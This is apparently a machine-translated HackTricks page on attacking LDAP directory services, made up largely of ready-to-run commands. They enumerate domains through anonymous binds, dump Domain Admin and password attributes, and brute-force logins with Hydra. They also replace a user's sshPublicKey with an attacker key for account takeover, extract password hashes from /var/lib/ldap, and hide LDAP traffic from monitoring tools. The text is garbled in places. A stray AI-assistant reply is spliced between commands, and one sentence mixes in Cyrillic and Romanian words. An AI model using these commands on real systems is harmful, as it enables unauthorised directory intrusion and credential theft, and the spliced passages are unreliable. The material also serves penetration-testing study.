389, 636, 3268, 3269 - Pentesting LDAP
Reading time: 16 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
LDAP (Lightweight Directory Access Protocol) का उपयोग मुख्य रूप से सार्वजनिक और निजी नेटवर्कों में संगठनों, व्यक्तियों और फ़ाइलों व डिवाइस जैसे संसाधनों जैसी विभिन्न इकाइयों का पता लगाने के लिए किया जाता है। यह अपने पूर्ववर्ती DAP की तुलना में छोटे कोड फ़ुटप्रिंट के कारण एक अधिक सरल तरीका प्रदान करता है।
LDAP डिरेक्टरी को कई सर्वरों में वितरित करने के लिए इस तरह संरचित किया गया है कि हर सर्वर डिरेक्टरी का एक replicated और synchronized संस्करण रखता है, जिसे Directory System Agent (DSA) कहा जाता है। अनुरोधों को संभालने की जिम्मेदारी पूरी तरह LDAP सर्वर की होती है, जो अनुरोधकर्ता को एक एकीकृत उत्तर देने के लिए आवश्यकतानुसार अन्य DSA से संचार कर सकता है।
LDAP डिरेक्टरी का संगठन एक ट्री हायारार्की, ऊपर रूट डिरेक्टरी से शुरू जैसा होता है। यह देशों में शाखित होता है, जो आगे संगठनों में विभाजित होते हैं, और फिर организаțional units में, जो विभिन्न डिवीज़न या विभागों का प्रतिनिधित्व करते हैं, अंततः व्यक्तिगत इकाइयों के स्तर तक पहुँचते हैं, जिसमें लोग और साझा संसाधन जैसे फ़ाइलें और प्रिंटर शामिल हैं।
डिफॉल्ट पोर्ट: 389 और 636(ldaps)। Global Catalog (LDAP in ActiveDirectory) डिफ़ॉल्ट रूप से पोर्ट 3268 पर उपलब्ध है, और LDAPS के लिए 3269 पर।
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
LDAP Data Interchange Format
LDIF (LDAP Data Interchange Format) निर्देशिका की सामग्री को रिकॉर्ड्स के सेट के रूप में परिभाषित करता है। यह अपडेट अनुरोधों (Add, Modify, Delete, Rename) को भी दर्शा सकता है।
dn: dc=local
dc: local
objectClass: dcObject
dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization
dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev
dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales
dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
- लाइनें 1-3 टॉप-लेवल डोमेन local को परिभाषित करती हैं
- लाइनें 5-8 पहले लेवल डोमेन moneycorp (moneycorp.local) को परिभाषित करती हैं
- लाइनें 10-16 दो संगठनात्मक इकाइयाँ परिभाषित करती हैं: dev और sales
- लाइनें 18-26 डोमेन का एक ऑब्जेक्ट बनाती हैं और attributes को मान असाइन करती हैं
डेटा लिखें
ध्यान दें कि अगर आप values को modify कर सकते हैं तो आप बहुत दिलचस्प कार्रवाइयाँ कर सकते हैं। उदाहरण के लिए, कल्पना कीजिए कि आप "sshPublicKey" जानकारी बदल सकते हैं अपने user या किसी भी user की। यह अत्यंत संभावित है कि अगर यह attribute मौजूद है, तो ssh LDAP से public keys पढ़ रहा है। यदि आप किसी user की public key modify कर सकते हैं तो आप उस user के रूप में login करने में सक्षम होंगे भले ही password authentication ssh में सक्षम न हो।
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
Sniff clear text credentials
यदि LDAP को बिना SSL के उपयोग किया जाता है तो आप नेटवर्क में sniff credentials in plain text कर सकते हैं।
इसके अलावा, आप नेटवर्क में एक MITM attack कर सकते हैं between the LDAP server and the client. यहाँ आप एक Downgrade Attack कर सकते हैं ताकि client लॉगिन के लिए credentials in clear text का उपयोग करे।
If SSL is used तो आप ऊपर बताए गए जैसे MITM करने की कोशिश कर सकते हैं लेकिन एक false certificate पेश करके; यदि user accepts it, तो आप authentication method को Downgrade कर सकते हैं और फिर से credentials देख सकते हैं।
Anonymous Access
Bypass TLS SNI check
According to this writeup सिर्फ़ LDAP server को किसी arbitrary domain name (जैसे company.com) से एक्सेस करके वह LDAP service से संपर्क कर सका और एक anonymous user के रूप में जानकारी extract कर सका:
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
LDAP anonymous binds
LDAP anonymous binds allow अनप्रमाणित हमलावर to retrieve information from the domain, such as a complete listing of users, groups, computers, user account attributes, and the domain password policy. This is a पुरानी कॉन्फ़िगरेशन, and as of Windows Server 2003, only authenticated users are permitted to initiate LDAP requests.
हालाँकि, व्यवस्थापकों ने किसी विशेष एप्लिकेशन को set up a particular application to allow anonymous binds करने की आवश्यकता महसूस की हो सकती है और उन्होंने नियोजित से अधिक पहुँच दे दी हो, जिससे अनप्रमाणित उपयोगकर्ताओं को AD के सभी ऑब्जेक्ट्स तक पहुँच मिल सकती है।
Anonymous LDAP enumeration with NetExec (null bind)
यदि null/anonymous bind की अनुमति है, तो आप NetExec’s LDAP मॉड्यूल के माध्यम से बिना creds के सीधे उपयोगकर्ता, समूह और attributes निकाल सकते हैं। उपयोगी फ़िल्टर:
- (objectClass=*) — base DN के अंतर्गत वस्तुओं की सूची बनाने के लिए
- (sAMAccountName=*) — user principals निकालने के लिए
Examples:
# Enumerate objects from the root DSE (base DN autodetected)
netexec ldap <DC_FQDN> -u '' -p '' --query "(objectClass=*)" ""
# Dump users with key attributes for spraying and targeting
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" ""
# Extract just the sAMAccountName field into a list
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" "" \
| awk -F': ' '/sAMAccountName:/ {print $2}' | sort -u > users.txt
किस चीज़ की तलाश करें:
- sAMAccountName, userPrincipalName
- memberOf और OU प्लेसमेंट ताकि targeted sprays को सीमित किया जा सके
- pwdLastSet (समयगत पैटर्न), userAccountControl flags (disabled, smartcard required, आदि)
नोट: यदि anonymous bind की अनुमति नहीं है, तो आमतौर पर एक Operations error दिखाई देगा जो सूचित करेगा कि bind की आवश्यकता है।
वैध क्रेडेंशियल्स
यदि आपके पास LDAP server में login करने के लिए वैध क्रेडेंशियल्स हैं, तो आप Domain Admin के बारे में सभी जानकारी dump कर सकते हैं:
pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
Brute Force
सूचीकरण
स्वचालित
इसका उपयोग करके आप सार्वजनिक जानकारी (जैसे domain name): देख सकेंगे
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
Python
LDAP enumeration with python देखें
आप python का उपयोग करके LDAP को credentials के साथ या बिना credentials के enumerate करने की कोशिश कर सकते हैं: pip3 install ldap3
सबसे पहले connect without credentials करने की कोशिश करें:
>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info
यदि प्रतिक्रिया पिछले उदाहरण की तरह True है, तो आप LDAP सर्वर से कुछ दिलचस्प डेटा (जैसे naming context या domain name) प्राप्त कर सकते हैं:
>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN
एक बार जब आपके पास naming context मौजूद हो, तो आप कुछ और रोचक क्वेरीज कर सकते हैं। यह सरल क्वेरी आपको डायरेक्टरी की सभी ऑब्जेक्ट्स दिखानी चाहिए:
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries
या पूरा ldap dump करें:
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries
windapsearch
Windapsearch एक Python स्क्रिप्ट है जो LDAP queries का उपयोग करके enumerate users, groups, and computers from a Windows domain को सूचीबद्ध करने के लिए उपयोगी है.
# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users
ldapsearch
null credentials की जाँच करें या यह सत्यापित करें कि आपकी credentials वैध हैं:
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839
यदि आपको कुछ ऐसा संदेश मिलता है कि "bind must be completed" तो इसका मतलब है कि credentials गलत हैं।
आप निम्नलिखित का उपयोग करके डोमेन से सब कुछ निकाल सकते हैं:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given
निकालें users:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
निकालें कंप्यूटर:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
I don't have any content to extract from. Please paste the text or file you want me to extract your info from (or specify which fields to extract: name, email, phone, company, etc.).
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
निकालें Domain Admins:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
निकालें Domain Users:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
निकालें Enterprise Admins:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
निकालें Administrators:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
निकालें Remote Desktop Group:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
यह देखने के लिए कि क्या आपके पास किसी password तक पहुँच है, आप किसी एक query चलाने के बाद grep का उपयोग कर सकते हैं:
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
कृपया ध्यान दें कि यहाँ जो पासवर्ड आप पाएंगे वे असली नहीं हो सकते...
pbis
आप pbis को यहाँ से डाउनलोड कर सकते हैं: https://github.com/BeyondTrust/pbis-open/ और यह आम तौर पर /opt/pbis में इंस्टॉल होता है।
Pbis आपको आसानी से बुनियादी जानकारी प्राप्त करने की अनुमति देता है:
#Read keytab file
./klist -k /etc/krb5.keytab
#Get known domains info
./get-status
./lsa get-status
#Get basic metrics
./get-metrics
./lsa get-metrics
#Get users
./enum-users
./lsa enum-users
#Get groups
./enum-groups
./lsa enum-groups
#Get all kind of objects
./enum-objects
./lsa enum-objects
#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
done
ग्राफिकल इंटरफेस
Apache Directory
यहाँ से Apache Directory डाउनलोड करें. इस टूल के उपयोग का एक उदाहरण आप यहाँ पा सकते हैं।
jxplorer
आप यहाँ LDAP सर्वर के साथ एक ग्राफिकल इंटरफेस डाउनलोड कर सकते हैं: http://www.jxplorer.org/downloads/users.html
डिफ़ॉल्ट रूप से यह स्थापित होता है: /opt/jxplorer
.png)
Godap
Godap LDAP के लिए एक इंटरैक्टिव टर्मिनल यूजर इंटरफेस है जिसे AD और अन्य LDAP सर्वरों में objects और attributes के साथ इंटरैक्ट करने के लिए इस्तेमाल किया जा सकता है। यह Windows, Linux और MacOS के लिए उपलब्ध है और simple binds, pass-the-hash, pass-the-ticket & pass-the-cert को सपोर्ट करता है, साथ ही कई अन्य विशेष विशेषताएँ जैसे objects को search/create/change/delete करना, groups से users add/remove करना, passwords बदलना, object permissions (DACLs) संपादित करना, Active-Directory Integrated DNS (ADIDNS) में संशोधन करना, JSON फाइलों में export करना आदि प्रदान करता है।

आप इसे https://github.com/Macmod/godap पर एक्सेस कर सकते हैं। उपयोग के उदाहरणों और निर्देशों के लिए Wiki पढ़ें।
Ldapx
Ldapx एक लचीला LDAP proxy है जिसका उपयोग अन्य टूल्स से आने वाले LDAP ट्रैफिक को inspect और transform करने के लिए किया जा सकता है। इसे LDAP ट्रैफिक को obfuscate करने के लिए उपयोग किया जा सकता है ताकि identity protection और LDAP monitoring tools को बायपास करने का प्रयास किया जा सके, और यह MaLDAPtive टॉक में प्रस्तुत अधिकांश विधियों को लागू करता है।

आप इसे https://github.com/Macmod/ldapx से प्राप्त कर सकते हैं।
kerberos के माध्यम से प्रमाणीकरण
ldapsearch का उपयोग करके आप पैरामीटर -Y GSSAPI का उपयोग कर NTLM के बजाय kerberos के खिलाफ प्रमाणीकरण कर सकते हैं।
POST
यदि आप उन फाइलों तक पहुँच सकते हैं जहाँ databases रखे होते हैं (हो सकता है /var/lib/ldap में)। आप hashes को निकाल सकते हैं:
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
आप john को password hash फीड कर सकते हैं ('{SSHA}' से 'structural' तक, 'structural' जोड़ें बिना)।
Configuration Files
- General
- containers.ldif
- ldap.cfg
- ldap.conf
- ldap.xml
- ldap-config.xml
- ldap-realm.xml
- slapd.conf
- IBM SecureWay V3 server
- V3.sas.oc
- Microsoft Active Directory server
- msadClassesAttrs.ldif
- Netscape Directory Server 4
- nsslapd.sas_at.conf
- nsslapd.sas_oc.conf
- OpenLDAP directory server
- slapd.sas_at.conf
- slapd.sas_oc.conf
- Sun ONE Directory Server 5.1
- 75sas.ldif
HackTricks Automatic Commands
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ldap.html
Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}
Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x
Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
Entry_7:
Name: Netexec LDAP BloodHound
Command: nxc ldap <IP> -u <USERNAME> -p <PASSWORD> --bloodhound -c All -d <DOMAIN.LOCAL> --dns-server <IP> --dns-tcp
संदर्भ
- HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin
- NetExec (CME का उत्तराधिकारी)
- Microsoft: Anonymous LDAP ऑपरेशन्स Active Directory के लिए अक्षम हैं
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
HackTricks